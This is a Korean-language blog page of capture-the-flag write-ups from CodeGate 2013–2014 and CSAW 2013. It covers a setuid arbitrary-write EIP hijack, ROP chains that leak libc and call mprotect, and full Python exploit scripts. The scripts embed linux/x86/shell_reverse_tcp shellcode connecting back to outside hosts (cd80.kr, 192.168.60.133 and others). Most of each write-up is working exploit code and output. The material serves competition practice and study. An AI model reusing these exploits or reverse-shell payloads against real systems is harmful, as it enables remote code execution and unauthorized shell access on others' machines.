CodeGate 2014 4stone writeup

크리에이티브 커먼즈 라이선스
Creative Commons License

2월 22일 오후 9시부터 2월 24일 오전 3시까지 진행된 대회입니다

아직 대회경험이 부족해 문제를 많이 풀진 못했고

푼 문제들이나마 풀이를 올리겠습니다






4stone



guest@notroot-virtual-machine:~$ ls -l /home/4stone/

total 16

-rwsr-xr-x 1 4stone 4stone 9764  2월 20 19:27 4stone

-r-------- 1 4stone 4stone   27  2월 21 21:54 key

guest@notroot-virtual-machine:~$ 

접속하면 4stone 바이너리가 있고 key파일이 있다



프로그램을 실행하면 이런 화면이 뜬다

프로그램은 ncurses라이브러리로 제작되었다



이렇게 게임에 이기면



이렇게 이겼다는 메세지가 뜬다



위는 바이너리에서 게임종료 이후 코드를 헥스레이 한것이다

게임 플레이 시간이 0초일경우 아래 if(!time_diff)부분이 실행되는데

if문 코드블럭 전체가 임의의 메모리 주소에 4바이트 데이터를 쓸수 있는 코드이다

이 때 메모리 주소는 argv[1]로 입력받고 4바이트 데이터는 scanf로 입력받는다




그런데 4바이트 데이터를 쓸때 바이너리 영역에 쓸 수 없고 스택영역에 쓸 수 없다

그리고 데이터를 쓴 후 exit(0); 함수를 호출하기 때문에

물론 바이너리영역에 쓰는걸 막기때문에 못하지만 dtors같은걸 조작할 수도 없다


여기서 가장 의심가는 부분은 exit(0);이 처음 호출 되기 때문에 dynamic linker가 실행된다는 것이였다

처음 생각해본것은 exit함수 자체가 어떤 값을 참조하고 그걸 이용해 eip를 컨트롤할수 있지 않을까 생각했는데

__dl_runtime_resolve함수를 분석해보니

0x4007f000에서 4바이트값을 읽어와 거기서 0xbab04를 더한값을 __dl_runtime_resolve함수의 리턴값으로 사용한다는 것을 알았다

( 로컬 문제라 ulimit -s unlimited를 치고 진행했다 )


위 내용은 디버깅해보면 쉽게 알 수 있으니 과정은 생략하겠다



(gdb)

0x080498ac in ?? ()

1: x/10i $pc

=> 0x80498ac: mov    %edx,(%eax)

   0x80498ae: movl   $0x0,(%esp)

   0x80498b5: call   0x8048710 <_exit@plt>

   0x80498ba: xchg   %ax,%ax

   0x80498bc: xchg   %ax,%ax

   0x80498be: xchg   %ax,%ax

   0x80498c0: push   %ebp

   0x80498c1: push   %edi

   0x80498c2: xor    %edi,%edi

   0x80498c4: push   %esi

(gdb) i r eax edx

eax            0x4007f000 1074262016

edx            0x12345678 305419896

(gdb) c

Continuing.


Program received signal SIGSEGV, Segmentation fault.

0x1240017c in ?? ()

1: x/10i $pc

=> 0x1240017c: <error: Cannot access memory at address 0x1240017c>

(gdb) p /x  0x12345678 + 0xbab04

$2 = 0x1240017c

(gdb)  


argv[1]에 4007f000을 입력하고

scanf에서 12345678을 한 결과이다

0x12345678 에 0xbab04를 더한값으로 eip가 변조된것을 알 수 있다


(gdb) 

0x08049879 in ?? ()

1: x/10i $pc

=> 0x8049879: call   0x8048820 <__isoc99_scanf@plt>

   0x804987e: cmpl   $0x0,0x1c(%esp)

   0x8049883: je     0x80498ae

   0x8049885: mov    0x1c(%esp),%eax

   0x8049889: mov    $0x0,%ax

   0x804988d: cmp    $0x8040000,%eax

   0x8049892: je     0x80498ae

   0x8049894: mov    0x1c(%esp),%eax

   0x8049898: and    $0xf0000000,%eax

   0x804989d: cmp    $0xb0000000,%eax

(gdb) p /x 0xcd80cd80 - 0xbab04

$3 = 0xcd75227c

(gdb) c

Continuing.

cd75227c


Program received signal SIGSEGV, Segmentation fault.

0xcd80cd80 in ?? ()

1: x/10i $pc

=> 0xcd80cd80: <error: Cannot access memory at address 0xcd80cd80>

(gdb) 

eip를 원하는 값으로 변조 시켰다



guest@notroot-virtual-machine:/tmp/cd80$ ./4stone &

[1] 22463

guest@notroot-virtual-machine:/tmp/cd80$ 


[1]+  Stopped                 ./4stone

guest@notroot-virtual-machine:/tmp/cd80$ cat /proc/22463/maps

08048000-0804a000 r-xp 00000000 08:01 1316221    /tmp/cd80/4stone

0804a000-0804b000 r-xp 00001000 08:01 1316221    /tmp/cd80/4stone

0804b000-0804c000 rwxp 00002000 08:01 1316221    /tmp/cd80/4stone

0904a000-0906b000 rwxp 00000000 00:00 0          [heap]

40000000-40020000 r-xp 00000000 08:01 1704861    /lib/i386-linux-gnu/ld-2.17.so

40020000-40021000 r-xp 0001f000 08:01 1704861    /lib/i386-linux-gnu/ld-2.17.so

40021000-40022000 rwxp 00020000 08:01 1704861    /lib/i386-linux-gnu/ld-2.17.so

40022000-40023000 r-xp 00000000 00:00 0          [vdso]

40023000-40025000 rwxp 00000000 00:00 0 

40038000-4005b000 r-xp 00000000 08:01 1704942    /lib/i386-linux-gnu/libncurses.so.5.9

4005b000-4005c000 r-xp 00022000 08:01 1704942    /lib/i386-linux-gnu/libncurses.so.5.9

4005c000-4005d000 rwxp 00023000 08:01 1704942    /lib/i386-linux-gnu/libncurses.so.5.9

4005d000-4007b000 r-xp 00000000 08:01 1705026    /lib/i386-linux-gnu/libtinfo.so.5.9

4007b000-4007c000 ---p 0001e000 08:01 1705026    /lib/i386-linux-gnu/libtinfo.so.5.9

4007c000-4007e000 r-xp 0001e000 08:01 1705026    /lib/i386-linux-gnu/libtinfo.so.5.9

4007e000-4007f000 rwxp 00020000 08:01 1705026    /lib/i386-linux-gnu/libtinfo.so.5.9

4007f000-40080000 rwxp 00000000 00:00 0 

40080000-4022e000 r-xp 00000000 08:01 1704885    /lib/i386-linux-gnu/libc-2.17.so

4022e000-40230000 r-xp 001ae000 08:01 1704885    /lib/i386-linux-gnu/libc-2.17.so

40230000-40231000 rwxp 001b0000 08:01 1704885    /lib/i386-linux-gnu/libc-2.17.so

40231000-40234000 rwxp 00000000 00:00 0 

40234000-40237000 r-xp 00000000 08:01 1704900    /lib/i386-linux-gnu/libdl-2.17.so

40237000-40238000 r-xp 00002000 08:01 1704900    /lib/i386-linux-gnu/libdl-2.17.so

40238000-40239000 rwxp 00003000 08:01 1704900    /lib/i386-linux-gnu/libdl-2.17.so

40239000-4023a000 rwxp 00000000 00:00 0 

bfdb2000-bfdd3000 rwxp 00000000 00:00 0          [stack]

guest@notroot-virtual-machine:/tmp/cd80$



rwx권한이 있는곳이 많다

그런데 조작가능한것이 eip하나고 그 이후에 RTL chaining같은것이 힘들기 때문에

환경변수에 nop 10만개와 쉘코드를 넣고 손으로 계속 실행시켰다

guest@notroot-virtual-machine:/tmp/cd80$ (perl -e 'print "\nh\nhhh\nhh\nh\n\n\nbfd0bc78"';cat)|/home/4stone/4stone 4007f000

you win! 0 seconds




Segmentation fault

guest@notroot-virtual-machine:/tmp/cd80$ 

guest@notroot-virtual-machine:/tmp/cd80$ 

guest@notroot-virtual-machine:/tmp/cd80$ (perl -e 'print "\nh\nhhh\nhh\nh\n\n\nbfd0bc78"';cat)|/home/4stone/4stone 4007f000

you win! 0 seconds




Segmentation fault

guest@notroot-virtual-machine:/tmp/cd80$ 

guest@notroot-virtual-machine:/tmp/cd80$ 

guest@notroot-virtual-machine:/tmp/cd80$ (perl -e 'print "\nh\nhhh\nhh\nh\n\n\nbfd0bc78"';cat)|/home/4stone/4stone 4007f000

you win! 0 seconds




Segmentation fault

guest@notroot-virtual-machine:/tmp/cd80$ 

guest@notroot-virtual-machine:/tmp/cd80$ 

guest@notroot-virtual-machine:/tmp/cd80$ (perl -e 'print "\nh\nhhh\nhh\nh\n\n\nbfd0bc78"';cat)|/home/4stone/4stone 4007f000

you win! 0 seconds




Segmentation fault

guest@notroot-virtual-machine:/tmp/cd80$ 

guest@notroot-virtual-machine:/tmp/cd80$ 

guest@notroot-virtual-machine:/tmp/cd80$ (perl -e 'print "\nh\nhhh\nhh\nh\n\n\nbfd0bc78"';cat)|/home/4stone/4stone 4007f000

you win! 0 seconds






id

uid=1004(guest) gid=1004(guest) euid=1003(4stone) groups=1003(4stone),1004(guest)

cat /home/4stone/key

gARBAG3_hOL3_R4bB1T_R5BBIT 




신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

Volga CTF 2014 Exploit 100  (0) 2014.03.29
CodeGate 2014 angry_doraemon writeup  (16) 2014.02.24
CodeGate 2014 4stone writeup  (3) 2014.02.23
CodeGate Junior 2014 nuclear 문제  (0) 2014.02.14
Codegate 2013 vuln 200  (5) 2013.11.28
CSAW 2013 Pre-Quals Pwnables 300  (0) 2013.09.29

설정

트랙백

댓글

CodeGate Junior 2014 nuclear 문제

크리에이티브 커먼즈 라이선스
Creative Commons License



포너블 문제이다

대회시간동안 "unknown command : %s" 부분을 못봐서 고통스러웠다

서버 환경이나 libc가 공개되어있지 않아 최신버젼 리눅스 + 기본 메모리 보호기법 적용 으로 생각하고 풀었다

문제를 풀었던 순서는 다음과같다

1. target 설정 시 sscanf의 세번째인자(first_float), 네번째인자(second_float)에 널바이트가 포함되지 않은 4바이트 데이터를 넣을 수 있다

2. target 설정 후 명령입력창에서 0x200바이트만큼을 꽉 채워주면 명령입력받는 버퍼, first_float, second_float, keybuffer가 모두 널바이트 없이 이어진다

3. unknown command : %s 로 인해 사용자의 입력이 재출력되고 이때 키버퍼의 내용도 함께 출력된다

4. 얻은 키를 launch 후 passcode에 입력

5. 입력하면 start_routine이 실행된다

6. start_routine엔 대놓고 버퍼오버플로우 취약점이 있다


이걸 익스플로잇하기 위해 좀더 쉬운방법이 없을까 계속 고민하다가

공부가 부족한건지 마땅한 방법이 떠오르지 않아서

GOT에서 함수 두개의 libc주소간의 거리를 구한 후

서버로 사용했을만한 운영체제를 부팅시켜 libc를 대조해봤다


처음엔 read와 send를 릭했는데

내 서버에서 두개의 거리를 구한것과 대회서버에서 두개의 거리를 구한게 같아서 우분투 13.04가 아닐까 생각했는데 익스플로잇이 계속 실패해서

socket함수와 send함수의 거리를 구해봤더니 다르게 나왔다


그래서 최신버젼을 사용했겠다 싶어서 우분투 13.10을 부팅시켜 확인해보니 정확하게 일치했다




root@raspberrypi:~# nc -lv -p 4321

Listening on [0.0.0.0] (family 0, port 4321)

Connection from [58.229.183.22] port 4321 [tcp/*] accepted (family 2, sport 40596)

cat key

BUG_BOUNTIES_b3COM3_GrEAT 




익스플로잇

from socket import *

import struct

from time import sleep

import cd80


p = lambda x : struct.pack("<L", x)

up = lambda x : struct.unpack("<L", x)[0]

s = socket(AF_INET, SOCK_STREAM)


s.connect(("58.229.183.22", 1129))


print s.recv(4096)

s.send("target")

print s.recv(4096)

s.send("123.123123/123.123123\n")

print s.recv(4096)

s.send("launch\n")

print s.recv(4096)

s.send("in the end, i was there.\n")

print s.recv(4096)


send_plt = p(0x8048900)

send_got = p(0x804b07c)

recv_plt = p(0x80488e0)

recv_got = p(0x804b074)

socket_got = p(0x804b068)

fd = p(0x4)

bss = p(0x804b088)

leak_size = p(0x4)

recv_size = p(0x200)

null = p(0x0)

ppppr = p(0x804917c)

pppr = p(0x804917d)


# LHOST = cd80.kr LPORT = 4321 linux/x86/shell_reverse_tcp

shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"+\

"\x5b\x5e\x68\xd3\xc5\xcf\xa9\x66\x68\x10\xe1\x66\x53\x6a\x10"+\

"\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f"+\

"\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"+\

"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";


dunno_mprotect = 0

mprotect_libc = p(0xb760b2b0)



if dunno_mprotect:

    payload = "A"*528

    payload += send_plt

    payload += ppppr

    payload += fd

    payload += send_got

    payload += leak_size

    payload += null

    

    payload += send_plt

    payload += ppppr

    payload += fd

    payload += socket_got

    payload += leak_size

    payload += null

    

    payload += recv_plt

    payload += bss

    payload += fd

    payload += bss

    payload += recv_size

    payload += null

    

    s.send(payload)


    print s.recv(4096)

    addresses = s.recv(4096)


    send_libc = up(addresses[:4])

    read_libc = up(addresses[4:])

    

    print "[*] send@LIBC: %s"%hex(send_libc)[:-1]

    print "[*] socket@LIBC: %s"%hex(read_libc)[:-1]

    print "[*] offset : %s"%hex(send_libc - read_libc)[:-1]

    

    mprotect_libc = send_libc - 0xd4ac0

    print "[*] mprotect@LIBC: %s"%hex(mprotect_libc)[:-1]

    s.close()

else:

    payload = "A"*528

    payload += mprotect_libc

    payload += pppr

    payload += p(0x0804b000)

    payload += p(0x200)

    payload += p(7)


    payload += recv_plt

    payload += bss

    payload += fd

    payload += bss

    payload += recv_size

    payload += null


    s.send(payload)


    print s.recv(4096)

    sleep(1)

    s.send(shellcode)


    s.close()



신고

설정

트랙백

댓글

Codegate 2013 vuln 200

크리에이티브 커먼즈 라이선스
Creative Commons License
syntaxhighlighter 적용하다가 실수해서 이렇게됐는데 나중에 시간날때 다시풀면서 수정해놓겠슴다

***
문제를 풀고 나중에 친구와 얘기해봤는데
제가 문제를 푸는 중간에도 rwx 권한을 갖는 영역이 있단걸 알긴 알았는데
공부하는셈 치고 원래 풀던대로 풀었습니다
쉽게 푸시려면 rwx영역에 쉘코드 받으시면 엄청 쉽게 푸실수있습니다
***


좀더 수월한 풀이를 위해 안티디버깅 하는부분을 패치해 진행했습니다

아직 실력이없어 가젯을 자동으로 찾는법을몰라 수작업으로 다찾았습니다... 힘드네요

2014년대회전까진 자동으로 찾는걸 얼른 공부해둬야겠습니다


자세한 풀이법은 나중에 작성하겠습니다


문제원본은 http://shell-storm.org/repo/CTF/CodeGate-2013/Vulnerable/200/  에서 받으실 수 있습니다

제가 풀이한 환경은 Ubuntu 12.10 이고

nx, aslr, ascii armor가 설정되어 있습니다

LIBC버젼은 2.15입니다

대회때 libc버젼이 공개됐는지 기억이안나서 실제 대회때 libc가 공개되어있지 않았다는 전제하에 libc내용을 leak하는 코드도 맨 아래에 넣었습니다 이 코드를 사용해 libc전체를 leak하거나 일정부분을 leak해 자신이 갖고있는 vm들을 부팅시켜 그 vm에 존재하는 libc와 대조해봄으로써 대회환경 libc를 추측할 수 있습니다

사전에 libc를 버젼별로 구해놓고 대조하면 더 편합니다

실제로 제가 문제를 풀땐 libc버젼을 알고 있기 때문에 이렇게까지 할필욘 없어서 개념증명용으로 작성했습니다


문제로 접속하면 이런 메뉴가 뜨고

먼저 메뉴중 하나를 고르면 그다음에 선택한 항목에 대한 인자를 입력하는 방식입니다


이 메뉴에는 없지만 리버싱해보면 write라는 명령이 하나 더 있습니다

이 write명령에서 memcpy() 함수의 두번째인자에 유저입력값이 들어가고 세번째인자에 유저입력값의 길이가 들어가기때문에

버퍼오버플로우가 발생합니다


사용한 쉘코드는 msf linux/x86/shell_reverse_tcp LHOST=192.168.60.133 LPORT=4321 입니다

↓익스플로잇


#!/usr/bin/env python
from socket import *
import struct
import time 

p = lambda x : struct.pack("

풀면서 노트한 내용입니다


0x332c0 mprotect - fork

0x804b0a0 .bss

0x80488c0 fork@PLT

0x804b06c fork@GOT

0x8048780 recv@PLT


0x804897e add %eax, 0x5d5b04c4(%ebx); ret

0x80493ac pop ebx, esi, edi, ebp; ret

0x8049a57 pop ebx, ebp; ret

0x8048a81 mov -0x10(%ebp), %eax; leave; ret



0x804b0a0 0x8049a57 (pop ebx, ebp; ret)

0x804b0a4 0xaaa9aba8 (fork@GOT - 0x5d5b04c4)

0x804b0a8 0x804b0c0 ( &0x332c0 + 0x10 )

0x804b0ac 0x8048a81 ( mov -0x10(%ebp), %eax; leave; ret )

0x804b0b0 0x332c0 ( mprotect - fork )

0x804b0b4 0x12341234 (dummy)

0x804b0b8 0x12341234 (dummy)

0x804b0bc 0x12341234 (dummy)

0x804b0c0 0x12341234 ( ebp )

0x804b0c4 0x804897e ( add %eax, 0x5d5b04c4(%ebx); ret )



0x804b0c8 0x80488c0 ( fork@PLT (mprotect@LIBC) )

0x804b0cc 0x80493ad ( pppr )

0x804b0d0 0x8048000 ( &shellcode )

0x804b0d4 0x300  ( len )

0x804b0d8 0x7  ( PROT_WRITE | PROT_READ | PROT_EXEC )


0x804b0dc 0x8048780 ( recv@PLT )

0x804b0e0 0x8049a58 ( pop, ret )

0x804b0e4 0x4  ( sockfd )

0x804b0e8 0x8048000 ( &shellcode )

0x804b0ec 0x300  ( len )

0x804b0d0 0x0  ( flags )

 




=====================================================================

leak_libc.py

#!/usr/bin/env python

from socket import *

import struct

import sys

import curses.ascii


p = lambda x : struct.pack("<L", x)

up = lambda x : struct.unpack("<L", x)[0]


s = socket(AF_INET, SOCK_STREAM)

s.connect(("127.0.0.1", 7777))


s.recv(4096)


send_plt = p(0x080488a0)

free_addr = p(0x8048b0a0)


accept_got = p(0x804b030)

socket_got = p(0x804b034)

ppppr = p(0x080493ac)


payload = "write" + "A"*240


payload += send_plt

payload += ppppr

payload += p(4)

payload += accept_got

payload += p(4)

payload += p(0)


payload += send_plt

payload += ppppr

payload += p(4)

payload += socket_got

payload += p(4)

payload += p(0)


s.send(payload)


def dump(str):

i=0

j=0

leng = len(str)

for i in range(0, (leng%16 == 0) and (leng/16) or (leng/16)+1):

cur = i*16

sys.stdout.write("0x%08x "%cur)

j=0

for j in range(0, (len(str[cur:(cur+1)*16]) == 16) and 16 or (len(str[cur:]))):

sys.stdout.write("%02x "%ord(str[cur+j]))

for j in range(0, (len(str[cur:(cur+1)*16]) == 16) and 16 or (len(str[cur:]))):

if curses.ascii.isalnum(str[cur+j]):

sys.stdout.write("%c" % str[cur+j])

else:

sys.stdout.write(".")

print ""



dump(s.recv(4096))

dump(s.recv(25))

accept_got = up(s.recv(4))

socket_got = up(s.recv(4))


print "accept : 0x%08x"%accept_got

print "socket : 0x%08x"%socket_got

if accept_got > socket_got:

tmp = accept_got - socket_got

else:

tmp = socket_got - accept_got

print "distance : 0x%08x" % tmp 





신고

설정

트랙백

댓글

CSAW 2013 Pre-Quals Pwnables 300

크리에이티브 커먼즈 라이선스
Creative Commons License



#!/usr/bin/env python

from socket import *

import struct

import time

p = lambda x : struct.pack("<L", x)

host = "128.238.66.217"

#host = "220.78.196.13"

port = 34266

shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"+\

"\x66\xcd\x80\x5b\x5e\x68\xdc\x4e\xc4\x0d\x66\x68\x10\xe1\x66"+\

"\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87"+\

"\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68"+\

"\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"


recv_plt = 0x08048890

copy_addr = 0x0804b000


payload = ''

payload += p(recv_plt)

payload += p(copy_addr)

payload += p(0x00000004)

payload += p(copy_addr)

payload += p(0x00000200)

payload += p(0x00000000)


s = socket(AF_INET, SOCK_STREAM)

s.connect((host, port))

print s.recv(512)

print s.recv(512)

print s.recv(512)

s.send("csaw2013"+'\n')

print s.recv(512)

s.send("S1mplePWD" + '\n')

print s.recv(512)

print s.recv(512)

s.send("4296966000")

s.send("A"*1056 + payload)

time.sleep(5)

s.send(shellcode) 


신고

설정

트랙백

댓글

CodeGate Junior CTF 2013 풀이보고서 (writeup)

크리에이티브 커먼즈 라이선스
Creative Commons License


JuniorCTF 2013 예선 풀이보고서.pdf

후기는 나중에 쓰고 파일부터 올립니다~

신고

설정

트랙백

댓글


티스토리 툴바